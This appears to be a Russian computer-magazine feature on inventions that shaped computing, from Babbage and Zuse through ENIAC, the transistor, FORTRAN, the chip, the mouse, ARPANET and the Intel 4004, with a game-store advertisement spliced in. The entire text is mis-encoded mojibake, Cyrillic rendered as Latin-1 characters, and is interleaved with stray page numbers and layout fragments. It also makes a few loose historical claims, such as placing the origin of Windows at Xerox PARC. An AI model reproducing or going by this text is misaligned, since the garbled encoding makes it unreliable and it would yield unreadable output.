ÀÍÀËÈÒÈ×ÅÑÊÀß ÌÀØÈÍÀ ÁÝÁÁÈÄÆÀ  XIX âåêå, êîãäà ó÷åíûå áûëè óáåæäåíû â ïðåâîñõîäñòâå ÷åëîâå÷åñêîãî ðàçóìà íàä ìàøèíàìè, àíãëèéñêèé ìàòåìàòèê, àíàëèòèê è èíæåíåð ×àðëüç Áýááèäæ áûë óâåðåí, ÷òî ñî ìíîãèìè çàäà÷àìè ýòè ñàìûå ìàøèíû ìîãóò ñïðàâëÿòüñÿ êóäà ëó÷øå ÷åëîâåêà. Ïîñòîÿííî ñòàëêèâàÿñü ñ îøèáêàìè â ðàñ÷åòàõ, Áýááèäæ èñêàë ñïîñîáû ñâåñòè èõ ê ìèíèìóìó, è â 1822 ãîäó ïðèñòóïèë ê âîïëîùåíèþ ñâîèõ èäåé î «ñ÷èòàþùèõ ìåõàíèçìàõ» â æèçíü. Ìíîãèå èç ïàðîâûõ ìàøèí, êîòîðûå êîíñòðóèðîâàë èíæåíåð, òàê è íå áûëè çàêîí÷åíû, òàê êàê èäåè ñîçäàòåëÿ îïåðåæàëè òåõíîëîãèè òîãî âðåìåíè. Ïåðâûì èçâåñòíûì èçîáðåòåíèåì ×àðëüçà ñòàë äèôôåðåíöèàëüíûé äâèãàòåëü, ïðîèçâîäÿùèé ðàñ÷åò íåñêîëüêèõ ñòàòèñòè÷åñêèõ äàííûõ è àâòîìàòè÷åñêè ïîäãîòàâëèâàþùèé ðåçóëüòàò. Ñîñòîÿë îí èç 25 òûñÿ÷ ìåõàíè÷åñêèõ äåòàëåé è âåñèë îêîëî 15 òîíí, íî ñîáðàòü ïî îáðàçöàì ðàáî÷èé âàðèàíò è ñäåëàòü íà íåì ïåðâûå ðàñ÷åòû ñòàëî âîçìîæíûì òîëüêî â 1990 ãîäó. Ñàìûì æå âûäàþùèìñÿ òâîðåíèåì ×àðëüçà Áýááèäæà ñòàëà åãî àíàëèòè÷åñêàÿ ìàøèíà, ïðåäñòàâëÿâøàÿ ñîáîé íå îòäåëüíûé ìåõàíèçì, à öåëóþ öåïî÷êó âñåâîçìîæíûõ äèçàéíîâ è ñõåì, êîòîðûå àâòîð ñîåäèíÿë è òåñòèðîâàë äî êîíöà ñâîåé æèçíè. Îñîáåííîñòüþ àíàëèòè÷åñêîé ìàøèíû áûëî òî, ÷òî ñ èñïîëüçîâàíèåì ïåðôîêàðò îíà ìîãëà áûòü ïðîãðàììèðóåìîé, ïîýòîìó äëÿ òîãî âðåìåíè ýòî êàçàëîñü ÷åì-òî ôàíòàñòè÷åñêèì. Êàê ðàííèå, òàê è ïîçäíèå ìàøèíû Áýááèäæà âíåøíå ñîâåðøåííî íå áûëè ïîõîæè íà ñîâðåìåííûå êîìïüþòåðû, íî àðõèòåêòóðà î÷åíü íàïîìèíàëà ñòðîåíèå PC. Ïîýòîìó ×àðëüçà ñ÷èòàþò åñëè íå îòöîì, òî ïðàäåäóøêîé âñåõ êîìïüþòåðîâ.

1822 092

ÌÅÕÀÍÈ×ÅÑÊÈÉ ÊÎÌÏÜÞÒÅÐ ÇÞÑÝ Â 30-õ ãîäàõ, ðàáîòàÿ èíæåíåðîì-êîíñòðóêòîðîì â áåðëèíñêîé ñàìîëåòîñòðîèòåëüíîé êîìïàíèè, Êîíðàä Çþñý âñå ñâîå âðåìÿ ïðîâîäèë çà ñëîæíûìè ðàñ÷åòàìè. Âðó÷íóþ èõ äåëàòü áûëî äîëãî, à òåõíèêà òîãî âðåìåíè ìàëî ïîìîãàëà.  1936 ãîäó Êîíðàä ðåøèë îáëåã÷èòü ñåáå æèçíü è ñêîíñòðóèðîâàë ìåõàíè÷åñêèé êàëüêóëÿòîð Z1, êîòîðûé ìîã ïðîèçâîäèòü îïåðàöèè ñ ïëàâàþùåé çàïÿòîé, èìåë ïàìÿòü è ìîäóëè, ðàáîòàþùèå ïî ïðèíöèïó «äà/íåò» (êàê è âñå ñîâðåìåííûå êîìïüþòåðû). ×åðåç 3 ãîäà â íîâîé ìîäåëè Z2 ÷àñòü ìåõàíè÷åñêèõ äåòàëåé áûëà çàìåíåíà íà ýëåêòðîííûå, à â 1941 ãîäó, êîãäà ïîÿâèëñÿ Z3, åãî ìîæíî áûëî ïî ïðàâó íàçâàòü ïåðâûì â ìèðå ýëåêòðîííûì, ïðîãðàììèðóåìûì è öèôðîâûì êîìïüþòåðîì, êîòîðûé èñïîëüçîâàë äëÿ õðàíåíèÿ èíôîðìàöèè êèíîïëåíêó, à íå ïåðôîêàðòû. Íàöèñòñêîå ïðàâèòåëüñòâî îòêàçàëîñü ñïîíñèðîâàòü äàëüíåéøèå ðàçðàáîòêè, è â êîíöå âîéíû âî âðåìÿ áîìáåæêè âñå ìîäåëè êîìïüþòåðà Z áûëè óíè÷òîæåíû, âìåñòå ñî çäàíèåì Zuse Apparatebau — ïåðâîé â èñòîðèè êîìïüþòåðíîé êîìïàíèè, îñíîâàííîé Êîíðàäîì Çþñý. ×òîáû ïðîäîëæèòü èññëåäîâàíèÿ, ó÷åíûé ïåðååõàë â Øâåéöàðèþ, ãäå âîññîçäàë Z4 (êîòîðûé áûë íàïîëîâèíó çàêîí÷åí â Ãåðìàíèè) è ðàçðàáîòàë äëÿ íåãî â 1946 ãîäó ñïåöèàëüíûé ÿçûê ïðîãðàììèðîâàíèÿ Plankalkul. Íà íåì ÷óòü ïîçæå áûëà íàïèñàíà ïåðâàÿ ïðîãðàììà äëÿ èãðû â øàõìàòû. Òàê êàê Êîíðàä íå ïóáëèêîâàë èíôîðìàöèþ î ñâîåé ðàáîòå, ìíîãèå èç åãî ïðîåêòîâ ñòàëè èçâåñòíû òîëüêî ìíîãî ëåò ñïóñòÿ.

1936 XÀÊÅÐ 02 /86/ 06


ÎÒÊÐÛÒÈß, ÊÎÒÎÐÛÅ ÈÇÌÅÍÈËÈ ÊÎÌÏÜÞÒÅÐÍÛÉ ÌÈÐ

ÎÒ ÌÅÕÀÍÈ×ÅÑÊÎÃÎ ÊÀËÜÊÓËßÒÎÐÀ ÄÎ ÈÍÒÅÐÍÅÒ-Ò ÒÅËÅÔÎÍÈÈ

ÊÎÌÏÜÞÒÅÐÍÀß ÝÂÎËÞÖÈß ÒÎËÜÊÎ ÍÀ×ÈÍÀÅÒ ÑÂÎÅ ÐÀÇÂÈÒÈÅ. ÑÎ ÂÐÅÌÅÍÈ ÈÇÎÁÐÅÒÅÍÈß ÏÅÐÂÎÃÎ ÏÅÐÑÎÍÀËÜÍÎÃÎ ÊÎÌÏÜÞÒÅÐÀ ÏÐÎØËÎ ÂÑÅÃÎ 40 ËÅÒ, È ÇÀ ÝÒÎ ÂÐÅÌß ÎÍ ÏÐÅÂÐÀÒÈËÑß ÈÇ ÏÐÈÌÈÒÈÂÍÎÃÎ ÊÀËÜÊÓËßÒÎÐÀ  ÌÎÙÍÛÉ ÈÍÑÒÐÓÌÅÍÒ ÄËß ÎÁÙÅÍÈß, ÐÀÇÂËÅ×ÅÍÈß È ÐÅØÅÍÈß ÏÐÀÊÒÈ×ÅÑÊÈ ËÞÁÛÕ ÇÀÄÀ×.  ÝÒÎÌ ÏÐÎÃÐÅÑÑÅ ÏÐÈÍÈÌÀËÈ Ó×ÀÑÒÈÅ ÒÛÑß×È Ó×ÅÍÛÕ, ÊÎÒÎÐÛÅ ÊÀÆÄÛÉ ÐÀÇ ÓÄÈÂËßËÈ ÌÈÐ ÑÂÎÈÌÈ ÎÒÊÐÛÒÈßÌÈ. ×ÒÎÁÛ ÏÎËÍÎÑÒÜÞ ÎÑÂÅÒÈÒÜ ÈÑÒÎÐÈÞ ÊÎÌÏÜÞÒÅÐÎÂ, ÏÎÍÀÄÎÁÈÒÑß ÍÅÑÊÎËÜÊÎ ÎÁÚÅÌÍÛÕ ÒÎÌÎÂ, ÍÎ ÅÑÒÜ ÂÅÙÈ, ÊÎÒÎÐÛÅ ÄÎËÆÅÍ ÇÍÀÒÜ ÊÀÆÄÛÉ ÊÎÌÏÜÞÒÅÐÙÈÊ. ×ÅÌ ÏÐÈÌÅ×ÀÒÅËÜÍÀ ÌÀØÈÍÀ ÁÝÁÁÈÄÆÀ? ÊÎÃÄÀ ÍÀ×ÀËÀÑÜ ÝÐÀ ÌÈÊÐÎÏÐÎÖÅÑÑÎÐÎÂ? ÊÒÎ ÑÎÇÄÀË ÏÅÐÂÛÉ ÊÎÌÏÜÞÒÅÐÍÛÉ ÂÈÐÓÑ?

INVENTIONS

ENIAC Êîìïüþòåð ENIAC 1 ñòàë ïåðâûì êðóïíûì êîìïüþòåðíûì ïðîåêòîì àìåðèêàíñêîãî ïðàâèòåëüñòâà. Ïðåäïîëàãàëîñü, ÷òî îí áóäåò åäèíñòâåííîé íà òîò ìîìåíò ïåðåïðîãðàììèðóåìîé ìàøèíîé, êîòîðàÿ ñïîñîáíà ðåøàòü áîëüøîé ñïåêòð êîìïüþòåðíûõ çàäà÷. Ñêîíñòðóèðîâàí ENIAC 1 (Ýëåêòðîííî-Öèôðîâîé Èíòåãðàòîð è Êàëüêóëÿòîð) áûë â ôåâðàëå 1946 ãîäà ó÷åíûìè Äæîíîì Ìîêëè è Ïðåñïåðîì Ýêåðòîì äëÿ àìåðèêàíñêèõ âîåííûõ, êîòîðûå ïîçäíåå èñïîëüçîâàëè åãî äëÿ ïðîâåäåíèÿ áàëëèñòè÷åñêèõ ðàñ÷åòîâ. Ñîçäàíèå ýòîé ìàõèíû, çàíèìàþùåé áîëüøóþ êîìíàòó, îáîøëîñü ïðàâèòåëüñòâó â 500 òûñÿ÷ äîëëàðîâ, åùå ïî÷òè ñòîëüêî æå óøëî íà åãî äîðàáîòêó è àïãðåéä. ENIAC áûë íàñòîÿùèì ìîíñòðîì: îí ñîñòîÿë èç 17 òûñÿ÷ âàêóóìíûõ òðóá, îãðîìíîãî êîëè÷åñòâà äèîäîâ è ðåçèñòîðîâ, 5 ìèëëèîíîâ ïåðåìû÷åê, è âåñèë ïî÷òè 30 òîíí. Íåñìîòðÿ íà òî, ÷òî èñïîëüçîâàíèå âàêóóìíûõ òðóá óñêîðèëî ðàñ÷åòû, îíè ïåðåãîðàëè êàæäûé äåíü, è, ÷òîáû óñòðàíèòü ïîëîìêó, óõîäèëî ïî ïîëäíÿ. Òàê ÷òî áîëüøóþ ÷àñòü âðåìåíè êîìïüþòåð íàõîäèëñÿ â îòêëþ÷êå. Âîîáùå, íåñìîòðÿ íà ñâîé ðàçìåð è ìîùü, ENIAC 1 ïîñëóæèë ïðèìåðîì òîìó, êàêèì íå äîëæåí áûòü íàñòîÿùèé ïåðñîíàëüíûé êîìïüþòåð. ×åðåç íåñêîëüêî ëåò ñîçäàòåëè ENIAC ïðîäîëæèëè ñâîè èññëåäîâàíèÿ è ñêîíñòðóèðîâàëè áîëåå ìîùíûå ìàøèíû UNIVAC, äîëãîå âðåìÿ ñîñòîÿâøèå íà ñëóæáå ó ïðàâèòåëüñòâà ÑØÀ.

1946 XÀÊÅÐ 02 /86/ 06

ÒÐÀÍÇÈÑÒÎÐ Òðàíçèñòîð — îäíî èç ñàìûõ çíàèòåëüíûûõ êîìïüþòåðíûõ èçîáðåòåíèé. Ïåðâîå ïîêîëåíèå êîìïüþòåðîâ áàçèðîâàëèñü íà âàêóóìíûõ òðóáàõ, êîòîðûå áûëè î÷åíü íåíàäåæíûìè è ãðîìîçäêèìè. Âî âòîðîé ïîëîâèíå 40-õ ãîäîâ ó÷åíûå èç èññëåäîâàòåëüñêîãî îòäåëà òåëåôîííîé êîìïàíèè Bell ïðèíÿëèñü ýêñïåðèìåíòèðîâàòü ñ êðèñòàëëàìè «ãåðìàíèóì», êîòîðûå ïðè îïðåäåëåííûõ óñëîâèÿõ ìîãëè ñòàòü õîðîøèìè ïîëóïðîâîäíèêàìè.  1947 ãîäó Äæîí Áýðäèí, Óèëüÿì Øîêëè è Óîëòåð Áðýòòåéí èçîáðåëè òî, ÷òî ïîçæå ñòàíåò èçâåñòíî êàê òðàíçèñòîð. Ó÷åíûå Bell çàïàòåíòîâàëè ñâîå èçîáðåòåíèå, è âñêîðå òðàíçèñòîðû ïîÿâèëèñü â ïðîäàæå.  íà÷àëå îíè â îñíîâíîì èñïîëüçîâàëèñü â ïðîèçâîäñòâå ðàäèîïðèåìíèêîâ, òàê êàê ïåðâûå òðàíçèñòîðû áûëè åùå õðóïêèìè è ïåðåãîðàëè ïðè âûñîêîì íàïðÿæåíèè. Íî ïðîãðåññ, êàê ãîâîðèòñÿ, íå ñòîèò íà ìåñòå, è ÷åðåç êàêîå-òî âðåìÿ îíè ñòàëè âîñòðåáîâàííûìè è â äðóãèõ îáëàñòÿõ. Êîãäà òðàíçèñòîðû çàìåíèëè ãðîìîçäêèå, íåíàäåæíûå âàêóóìíûå òðóáû, êîìïüþòåðû ìîãëè âûïîëíÿòü òå æå ôóíêöèè, èñïîëüçóÿ ìåíüøå ýíåðãèè è ìåñòà.  1956 ãîäó èññëåäîâàòåëüñêàÿ êîìàíäà èç Bell ïîëó÷èëà Íîáåëåâñêóþ ïðåìèþ çà ñâîå ðåâîëþöèîííîå èçîáðåòåíèå.

1947 093


ÑÖÅÍÀ ///// ISSUE

ÂÈÍ×ÅÑÒÅÐ Ïåðâûé æåñòêèé äèñê áûë ïðåäñòàâëåí êîìïàíèåé IBM â ìàå 1955 ãîäà. Ìàõèíà, âåñèâøàÿ ò��ííó, áîëüøå íàïîìèíàëà ìîòîð îò ãðóçîâèêà. Íî âî âðåìåíà ïåðôîêàðò è ìàãíèòíûõ ëåíò çàÿâëåííàÿ âîçìîæíîñòü õðàíèòü äî 5 ìèëëèîíîâ ñèìâîëîâ çâó÷àëà ïîòðÿñàþùå. Âíóòðè íàõîäèëîñü 50 24-äþéìîâûõ ïëàñòèí, è ïîñêîëüêó ñ÷èòûâàþùàÿ ãîëîâêà áûëà îäíà, òî ñêîðîñòü ðàáîòû äèñêà áûëà î÷åíü ìåäëåííîé.  ñëåäóþùåé ìîäåëè (IBM 1301), êîòîðóþ òàêæå ðàçðàáàòûâàë Ðîíàëüä Äæîíñîí, íà êàæäóþ ïëàñòèíó ïðèõîäèëàñü îòäåëüíàÿ ãîëîâêà, ÷òî êàðäèíàëüíî óâåëè÷èëî ñêîðîñòü. Ìíîãèå ãîäû æåñòêèå äèñêè îñòàâàëèñü ãðîìîçäêèìè è èñïîëüçîâàëèñü ïðåèìóùåñòâåííî â êîìïüþòåðíûõ ëàáîðàòîðèÿõ íàó÷íûõ öåíòðîâ è êðóïíûõ êîìïàíèé.  1980 ãîäó Seagate Technology ïðåäñòàâèëà ST-506 — ïåðâûé 5-äþéìîâûé æåñòêèé äèñê îáúåìîì 5 Ìá, êîòîðûé óæå ìîæíî áûëî èñïîëüçîâàòü ñ ïåðñîíàëüíûìè êîìïüþòåðàìè è êîòîðûé ñäåëàë âèí÷åñòåð ðàñïðîñòðàíåííûì ÿâëåíèåì.

FORTRAN Ïåðâûé íàñòîÿùèé ÿçûê ïðîãðàììèðîâàíèÿ âûñîêîãî óðîâíÿ ïîÿâèëñÿ â 1957 ãîäó, åãî àâòîðîì ñòàë Äæîí Áýêóñ, ðóêîâîäèòåëü èññëåäîâàòåëüñêîé êîìàíäû IBM. Ïåðâîíà÷àëüíî Äæîí ñî ñâîèìè êîëëåãàìè ñîáèðàëñÿ ðàçðàáîòàòü èíòåðïðåòàòîð äëÿ IBM 701 — ïåðâîãî êîììåð÷åñêè óñïåøíîãî êîìïüþòåðà îò IBM. Ðàáîòà çàíÿëà òðè ãîäà, â ðåçóëüòàòå áûë íàïèñàí êîìïèëÿòîð, è ïðîåêò çàâåðøèëñÿ ñîçäàíèåì íîâîãî ÿçûêà ïðîãðàììèðîâàíèÿ. Ñîòðóäíèêè IBM íå èçîáðåëè ñàìó èäåþ ÿçûêîâ âûñîêîãî óðîâíÿ, ïðè êîòîðîé êîä ïèøåòñÿ íà ïîíÿòíîì ÷åëîâåêó ÿçûêå è ïîòîì ïåðåâîäèòñÿ â ìàøèííûé, íî èõ FORTRAN ñòàë ïåðâûì ïî-íàñòîÿùåìó ïîïóëÿðíûì è íàõîäèò øèðîêîå ïðèìåíåíèå äàæå ñåé÷àñ. ßçûê áûñòðî âçÿëè íà âîîðóæåíèå ó÷åíûå, êîòîðûì ïðèõîäèëîñü ïèñàòü ïðîãðàììû ñ áîëüøèì êîëè÷åñòâîì ôîðìóë è ÷èñåë — äëÿ ýòèõ öåëåé îí ïîäõîäèë ëó÷øå àññåìáëåðà. FORTRAN ñòàë ïðèìåðîì äëÿ àâòîðîâ ïîñëåäóþùèõ ÿçûêîâ ïðîãðàììèðîâàíèÿ è äàë íà÷àëî ðàçâèòèþ HLL.

1957 1960

1955

1958 ÈÍÒÅÃÐÀËÜÍÀß ÑÕÅÌÀ (×ÈÏ)  1958 ãîäó äâîå ó÷åíûõ, æèâóùèõ â ñîâåðøåííî ðàçíûõ ìåñòàõ, èçîáðåëè ïðàêòè÷åñêè èäåíòè÷íóþ ìîäåëü èíòåãðàëüíîé ñõåìû. Îäèí èç íèõ, Äæýê Êèëáè, ðàáîòàë íà Texas Instruments, äðóãîé, Ðîáåðò Íîéñ, áûë âëàäåëüöåì ñîáñòâåííîé êîìïàíèè ïî ïðîèçâîäñòâó ïîëóïðîâîäíèêîâ Fairchild Semiconductor Corporation. Îáîèõ îáúåäèíèë âîïðîñ: «Êàê â ìèíèìóì ìåñòà âìåñòèòü ìàêñèìóì êîìïîíåíòîâ?». Òðàíçèñòîðû, ðåçèñòîðû, êîíäåíñàòîðû è äðóãèå äåòàëè â òî âðåìÿ ðàçìåùàëèñü íà ïëàòàõ îòäåëüíî, è ó÷åíûå ðåøèëè ïîïðîáîâàòü èõ îáúåäèíèòü â îäèí ìîíîëèòíûé êðèñòàëë èç ïîëóïðîâîäíèêîâîãî ìàòåðèàëà. Òîëüêî Êèëáè âîñïîëüçîâàëñÿ ãåðìàíèóìîì, à Íîéñ ïðåäïî÷åë â êà÷åñòâå òàêîãî ìàòåðèàëà êðåìíèé.  1959 ãîäó îíè îòäåëüíî äðóã îò äðóãà ïîëó÷èëè ïàòåíòû íà ñâîè èçîáðåòåíèÿ. Ñàìî ñîáîé, íà÷àëîñü ïðîòèâîñòîÿíèå äâóõ êîìïàíèé, êîòîðîå çàêîí÷èëîñü ìèðíûì äîãîâîðîì è ñîçäàíèåì ñîâìåñòíîé ëèöåíçèè íà ïðîèçâîäñòâî ÷èïîâ. Ïîñëå òîãî êàê â 1961 ãîäó Fairchild Semiconductor Corporation ïóñòèëà ÷èïû â ñâîáîäíóþ ïðîäàæó, èõ ñðàçó ñòàëè èñïîëüçîâàòü â ïðîèçâîäñòâå êàëüêóëÿòîðîâ è êîìïüþòåðîâ âìåñòî îòäåëüíûõ òðàíçèñòîðîâ, ÷òî ïîçâîëèëî çíà÷èòåëüíî óìåíüøèòü ðàçìåð è óâåëè÷èòü ïðîèçâîäèòåëüíîñòü.

094

ÃÐÀÔÈ×ÅÑÊÈÉ ÈÍÒÅÐÔÅÉÑ È ÌÛØÜ Èñòîðèÿ GUI è ìûøè íàïðÿìóþ ñâÿçàíà ñ ïðîåêòîì oNLine System (NLS), ñòàðòîâàâøèì â íà÷àëå 60-õ ãîäîâ â Ñòýíôîðäñêîì Èññëåäîâàòåëüñêîì èíñòèòóòå. Ýòà ñèñòåìà, ðàçðàáîòêó êîòîðîé ñïîíñèðîâàëè àãåíòñòâà ARPA, NASA è Ïåíòàãîí, äîëæíà áûëà ñòàòü äëÿ àìåðèêàíñêèõ ó÷åíûõ óäîáíîé êîìïüþòåðíîé ñðåäîé äëÿ åæåäíåâíîé ðàáîòû. Ðóêîâîäèë ïðîåêòîì Äóãëàñ Ýíãåëáàðò, êîòîðûé è âíåñ áîëüøóþ ÷àñòü èäåé. Ãðàôè÷åñêàÿ ñðåäà, ðàçðàáîòàííàÿ Äóãëàñîì, ïðåäñòàâëÿëà ñîáîé ñèñòåìó òåêñòîâûõ ãèïåðëèíêîâ, êîòîðàÿ óïðàâëÿëàñü ñ ïîìîùüþ ñïåöèàëüíîãî óñòðîéñòâà, èçîáðåòåííîãî èì æå. Âíà÷àëå ó÷åíûé íàçâàë åãî «Æóêîì», íî èç-çà ïðîâîäà, ïîäêëþ÷àåìîãî ê êîìïüþòåðó è íàïîìèíàþùåãî ìûøèíûé õâîñò, íàçâàíèå áûëî èçìåíåíî. Ïåðâàÿ ìîäåëü ìûøè áûëà ãðîìîçäêîé, êîðïóñ áûë ñäåëàí èç äåðåâà, è â íåì íàõîäèëîñü äâà ìåòàëëè÷åñêèõ êîëåñèêà. Äâèãàòü êóðñîð ìîæíî áûëî òîëüêî ïî âåðòèêàëè è ãîðèçîíòàëè.  1968 ãîäó â êðóïíîì íàó÷íîì öåíòðå ñîñòîÿëàñü ïîëóòîðà÷àñîâàÿ ïðåçåíòàöèÿ NLS, è êîìïüþòåðíûé ìèð âïåðâûå óâèäåë â äåéñòâèè ãðàôè÷åñêóþ ñèñòåìó, óïðàâëÿåìóþ ìûøüþ. ×åðåç äâà ãîäà Ýíãåëáàðò çàïàòåíòîâàë ìûøêó (â ïàòåíòå îíà íàçûâàëàñü ïîçèöèîííûì èíäèêàòîðîì äëÿ äèñïëåéíîé ñèñòåìû) è ïðîäîëæèë ðàáîòàòü íàä óñîâåðøåíñòâîâàíèåì GUI. Íî ÷ëåíû èññëåäîâàòåëüñêîé ãðóïïû, íå ñîãëàñíûå ñ íåêîòîðûìè åãî èäåÿìè, ïîêèíóëè ñâîåãî ðóêîâîäèòåëÿ è ïåðåøëè íà ðàáîòó â èññëåäîâàòåëüñêèé öåíòð Xerox (PARC), ãäå ðåàëèçîâàëè ñâîå ïðåäñòàâëåíèå î íàñòîÿùåé ãðàôè÷åñêîé ñðåäå. Èìåííî òàì áûë ðàçðàáîòàí îêîííûé èíòåðôåéñ Windows, êàêèì ìû çíàåì åãî ñåãîäíÿ.

XÀÊÅÐ 02 /86/ 06


ÝÍÖÈÊËÎÏÅÄÈß

GamePost Íåçàìåíèìûé ïîìîùíèê ïðè âûáîðå èãðû

Îïèñàíèå: Fahrenheit (òàêæå èçâåñòíûé êàê Indigo Prophecy) – îäèí èç ãëàâíûõ õèòîâ 2005 ãîäà. Ýòî èíòåðàêòèâíûé òðèëëåð, ãäå âû èãðàåòå è çà äåòåêòèâîâ, è çà ïîäîçðåâàåìîãî – è êàæäîå âàøå äåéñòâèå, êàæäûé âûáîð èìååò çíà÷åíèå. Èíòóèòèâíîå óïðàâëåíèå, è èíòåðôåéñ, äîâå äåííûé äî ìèíèìàëèçìà, ïîìîãàþò ïîãðóçèòü ñÿ â èãðó ñ ãîëîâîé, à ïîâîðîòû ñþæåòà ïðî äåðæàò âàñ â íàïðÿæåíèè äî ñàìîé ðàçâÿçêè.

Fahrenheit (Indigo Prophecy)

Æàíð:

$69.99

Adventure

Îïèñàíèå: Ðàçðàáîò÷èêè Guild Wars âçÿëè âñå ëó÷øèå ÷åðòû èç äðóãèõ MMORPG è ñìåøàëè èõ òà êèì îáðàçîì, ÷òî âû çàáóäåòå îáî âñåì òîì, ÷òî äî ñèõ ïîð ðàçäðàæàëî âàñ â ìíîãîïîëü çîâàòåëüñêèõ èãðàõ. Âû ìîæåòå âñòðåòèòü íî âûõ äðóçåé â ãîðîäàõ è êðåïîñòÿõ, ñôîðìèðî âàòü ïàðòèþ è òóò æå îòïðàâèòüñÿ âûïîëíÿòü çàäàíèÿ âìåñòå.  âàøåé ïàðòèè âñåãäà áóäåò êîïèè êàðòû êâåñòà.

Guild Wars Special Edition (EURO)

Æàíð:

$79.99

RPG

Îïèñàíèå: Age of Empires III ïîãðóçèò âàñ â àòìîñôåðó XVI-X XIX âåêîâ. Âàì ïðåäñòîèò ñòðîèòü ñîáñòâåííóþ èìïåðèþ, êîëîíèçèðîâàòü è çà âîåâûâàòü Ñåâåðíóþ è Þæíóþ Àìåðèêó è ó÷àñòâîâàòü â ýïè÷åñêèõ âîéíàõ. Íåâèäàííûé óðîâåíü ðåàëèçìà è âåëèêîëåïíî îòîáðàæåí íîå êóëüòóðíîå ðàçíîîáðàçèå ïîðàäóþò äàæå ñàìûõ óòîí÷åííûõ ýñòåòîâ.

Age of Empires III

Æàíð:

$79.99

Strategy

Èãðàé ïðîñòî! GamePost

ÑÀÌÀß ÏÎËÍÀß ÈÍÔÎÐÌÀÖÈß ÎÁ ÈÃÐÀÕ * Îãðîìíîå

êîëè÷åñòâî ñêðèíøîòîâ

*

Èñ÷åðïûâàþùèå îïèñàíèÿ

* Âîçìîæíîñòü ïîñìîòðåòü ñîäåðæèìîå êîðîáîê


ÑÖÅÍÀ ///// ///// ISSUE ISSUE ÑÖÅÍÀ

ARPANET Ïåðâûå ñôîðìóëèðîâàííûå ìûñëè ïî ïîâîäó âîçìîæíîñòè îáúåäèíåíèÿ êîìïüþòåðîâ â ñåòü ïîÿâèëèñü â íà÷àëå 60-õ ãîäîâ.  1965 ãîäó ó÷åíûå èç ÌÒÈ è Óíèâåðñèòåòà Áåðêëè âïåðâûå èñïûòàëè èõ íà ïðàêòèêå, ñâÿçàâ ÷åðåç òåëåôîííûå ëèíèè 2 óäàëåííûõ êîìïüþòåðà. Äâóìÿ ãîäàìè ïîçæå ó÷åíûå èç àãåíòñòâà ARPA è ðÿäà èññëåäîâàòåëüñêèõ èíñòèòóòîâ ñîáðàëèñü íà êðóïíîé êîíôåðåíöèè, ÷òîáû îáñóäèòü íàèáîëåå ýôôåêòèâíûå ñïîñîáû ñîçäàíèÿ ñåòè èç íåñêîëüêèõ ìàøèí.  õîäå ýòîé è äðóãèõ âñòðå÷ áûëè ðàçðàáîòàíû îñíîâíûå ïðèíöèïû ARPAnet, òàê ÷òî îñòàâàëîñü òîëüêî íàïèñàòü ïðîòîêîë ïðèåìà è ïåðåäà÷è äàííûõ.  äåêàáðå 1968 ãîäà ãðóïïà ó÷åíûõ BBN ïðåäñòàâèëà Interface Message Processors (IMP’s) — ïåðâûé ñåòåâîé ïðîòîêîë, à óæå ÷åðåç ãîä, íà÷èíàÿ ñ èíñòèòóòà UCLA, êîìïüþòåðû âåäóùèõ íàó÷íûõ öåíòðîâ ñòàëè îáúåäèíÿòüñÿ â åäèíóþ íàó÷íóþ ñåòü. Íà ïðîòÿæåíèå 70-õ ãîäîâ ARPAnet ïîñòîÿííî ðîñëà è ðàçâèâàëàñü. Email, FTP è äðóãèå âîçìîæíîñòè, ïîÿâèâøèåñÿ â ýòî âðåìÿ, ñïîñîáñòâîâàëè óñïåõó. Ê 1981 ãîäó êîëè÷åñòâî õîñòîâ äîñòèãëî 213, à ÷åðåç 8 ëåò ïðåâûñèëî ñòîòûñÿ÷íóþ îòìåòêó.

ÌÈÊÐÎÏÐÎÖÅÑÑÎÐ 15 íîÿáðÿ 1971 ãîäà òîãäà åùå ìàëîèçâåñòíàÿ êîìïàíèÿ Intel ïðåäñòàâèëà ìèðó ïåðâûé ìèêðîïðîöåññîð Intel 4004. Ðàçðàáàòûâàëñÿ îí ñïåöèàëüíî äëÿ ÿïîíñêîé êîìïàíèè Busicom, âûïóñêàþùåé êàëüêóëÿòîðû, íî áûñòðî âûÿñíèëîñü, ÷òî íîâèíêà ïîäõîäèò äëÿ èñïîëüçîâàíèÿ âî ìíîãèõ äðóãèõ îáëàñòÿõ. Èíæåíåðàì êîìïàíèè — Ôåäåðèêî Ôýããèíó, Òýäó Õîôôó è Ñòýíó Ìýçîðó — óäàëîñü â êàêèå-òî 4 ìèëëèìåòðà âìåñòèòü âû÷èñëèòåëüíóþ ìîùü òàêîãî ìîíñòðà, êàê UNIVAC. Intel 4004 ñîäåðæàë â ñåáå 2300 òðàíçèñòîðîâ, CPU, êîìàíäíûé ðåãèñòð, äåêîäåð, ìîíèòîð ìàøèííûõ êîìàíä è ïîñòóïèë â ïðîäàæó ïî öåíå $200 çà øòóêó. Ïðàêòè÷åñêîå ïðèìåíåíèå 4004 íàøåë â ñèñòåìàõ óïðàâëåíèÿ äîðîæíûìè ñâåòîôîðàìè, àíàëèçàòîðàõ êðîâè è äàæå êîñìè÷åñêèõ çîíäàõ NASA. Íî íàñòîÿùàÿ ìèêðîïðîöåññîðíàÿ ðåâîëþöèÿ íà÷àëàñü ñ âûïóñêîì 8080, êîòîðûé áûë ñïåöèàëüíî ðàçðàáîòàí äëÿ êîìïüþòåðîâ. Èìåííî ýòîò ÷èï èñïîëüçîâàëñÿ â îäíîé èç ïåðâûõ ïåðñîíàëîê Altair 8800. Ñ ïîÿâëåíèåì ìèêðîïðîöåññîðîâ èçìåíèëàñü ñàìà òåõíîëîãèÿ ñîçäàíèÿ êîìïüþòåðîâ. Åñëè ðàíüøå êîìïüþòåðíûå ïîñòàâùèêè (IBM, Digital Equipment Corporation, Hewlett Packard) ïðîèçâîäèëè êîìïüþòåðû öåëèêîì, òî ïîñëå íà÷àëà îòäåëüíûõ ïîñòàâîê ìèêðî÷èïîâ è ïîÿâëåíèÿ êîìïàíèé, êîòîðûå ðàçðàáàòûâàëè äðóãèå êîìïüþòåðíûå êîìïëåêòóþùèå, ñòàëî âîçìîæíûì ñîáèðàòü ìàøèíó, à íå ïîêóïàòü åå öåëèêîì.

